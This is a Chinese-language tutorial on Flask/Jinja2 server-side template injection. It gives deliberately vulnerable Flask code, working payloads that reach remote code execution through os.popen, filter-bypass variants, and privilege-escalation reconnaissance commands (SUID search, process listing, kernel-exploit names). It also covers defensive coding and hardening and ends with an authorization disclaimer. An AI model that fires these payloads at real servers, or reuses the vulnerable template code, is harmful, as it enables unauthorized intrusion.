1. Flask SSTI漏洞原理与基础利用
1.1 什么是SSTI漏洞
SSTI(Server-Side Template Injection)即服务端模板注入,是一种发生在Web应用模板渲染环节的安全漏洞。当开发者将用户输入直接拼接到模板字符串中时,攻击者可以通过注入模板语法来执行任意代码。
在Flask框架中,默认使用Jinja2作为模板引擎。Jinja2提供了丰富的模板语法,包括变量插值、控制结构等。当用户输入未经严格过滤就直接嵌入模板时,攻击者可以利用这些语法特性实现RCE(远程代码执行)。
1.2 漏洞代码分析
让我们先看一个典型的漏洞代码示例:
python复制from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name) # 危险操作:直接拼接用户输入
return t.render()
if __name__ == "__main__":
app.run()
这段代码存在三个关键问题:
- 直接拼接用户输入到模板字符串
- 动态创建模板而非使用预定义模板文件
- 对name参数没有任何过滤或转义
1.3 基础利用方法
最简单的测试方法是传入模板表达式:
code复制?name={{7*7}}
如果页面返回"Hello 49",则确认存在SSTI漏洞。接下来可以尝试获取Python环境信息:
code复制?name={{''.__class__.__mro__[1].__subclasses__()}}
这个payload的工作原理是:
''.__class__获取字符串对象的类__mro__[1]获取object基类__subclasses__()列出所有子类
2. 高级利用技巧与RCE实现
2.1 绕过输出限制
在实际测试中,可能会遇到输出被截断的情况。如原始文章中提到的,有时只能看到逗号分隔符而看不到完整类名。这时可以采用以下方法:
python复制# 查看config对象的__init__方法的全局变量键
?name={{ config.__class__.__init__.__globals__.keys() }}
如果发现没有os模块,但存在__builtins__,可以通过它导入os:
python复制?name={{ config.__class__.__init__.__globals__['__builtins__'].__import__('os').popen('ls').read() }}
2.2 实用的Payload构造技巧
对于复杂的过滤环境,可以采用以下技巧:
-
字符串拼接:避免直接使用敏感词
code复制?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['sys'+'tem']('ls')}} -
属性链替代:使用不同属性链达到相同目的
code复制?name={{request.__class__.__mro__[1].__subclasses__()}} -
过滤器绕过:利用Jinja2内置过滤器
code复制?name={{('os'|urlencode).__class__.__mro__[1].__subclasses__()}}
3. Linux权限提升实战分析
3.1 系统权限检查
成功实现RCE后,首先需要了解当前权限:
python复制# 查看当前用户
?name={{config.__class__.__init__.__globals__['__builtins__'].__import__('os').popen('id').read()}}
# 输出示例:
uid=33(www-data) gid=33(www-data) groups=33(www-data),0(root)
这个输出显示了一个异常配置:www-data用户属于root组(GID=0)。虽然GID=0不像UID=0那样直接赋予超级权限,但仍然非常危险,因为:
- 许多系统文件的组权限设置为root
- 常见权限如rw-r-----(640)允许root组成员读取敏感文件
- 某些应用程序可能错误地依赖GID而非UID进行权限检查
3.2 提权尝试
3.2.1 SUID二进制检查
查找具有SUID位的可执行文件:
python复制?name={{config.__class__.__init__.__globals__['__builtins__'].__import__('os').popen('find / -perm -4000 2>/dev/null').read()}}
常见的SUID提权目标包括:
- /bin/bash
- /usr/bin/find
- /usr/bin/nmap
- /usr/bin/vim
- /usr/bin/python
3.2.2 进程信息分析
检查以root身份运行的进程:
python复制?name={{config.__class__.__init__.__globals__['__builtins__'].__import__('os').popen('ps aux | grep root').read()}}
重点关注:
- 以root身份运行的Web服务器进程
- 定时任务(crontab)
- 数据库服务
3.2.3 内核漏洞检查
检查系统内核版本:
python复制?name={{config.__class__.__init__.__globals__['__builtins__'].__import__('os').popen('uname -a').read()}}
然后搜索对应内核版本的公开漏洞,如:
- Dirty Pipe (CVE-2022-0847)
- Dirty Cow (CVE-2016-5195)
- PwnKit (CVE-2021-4034)
4. 防御措施与最佳实践
4.1 安全编码建议
-
永远不要拼接用户输入:
python复制# 错误做法 Template("Hello " + name) # 正确做法 Template("Hello {{ name }}").render(name=name) -
使用安全的模板渲染方式:
python复制from flask import render_template_string @app.route('/safe') def safe(): name = request.args.get('name', 'guest') return render_template_string('Hello {{ name }}', name=name) -
启用Jinja2沙箱:
python复制from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment() template = env.from_string(template_str)
4.2 系统加固建议
-
最小权限原则:
- Web应用应该以专用低权限用户运行
- 确保Web用户不在任何特权组中
-
定期更新系统:
- 及时应用安全补丁
- 移除不必要的SUID二进制
-
配置监控:
- 监控异常进程活动
- 记录所有特权操作
5. 渗透测试经验分享
在实际渗透测试中,我总结了以下经验:
-
多尝试不同Payload:不同环境可能对某些Payload有过滤,要准备多种变体
-
注意错误信息:错误信息往往能揭示系统配置和过滤规则
-
善用Python特性:Python的反射特性非常强大,可以通过
dir()探索可用属性 -
考虑上下文:在Web环境中,要注意字符编码和特殊符号的处理
-
保持隐蔽:在真实环境中,应该尽量减少对系统的干扰,避免触发安全警报
重要提示:所有渗透测试必须获得明确授权,未经授权的测试可能违反法律。本文内容仅用于教育目的,帮助开发者理解安全风险并加固系统。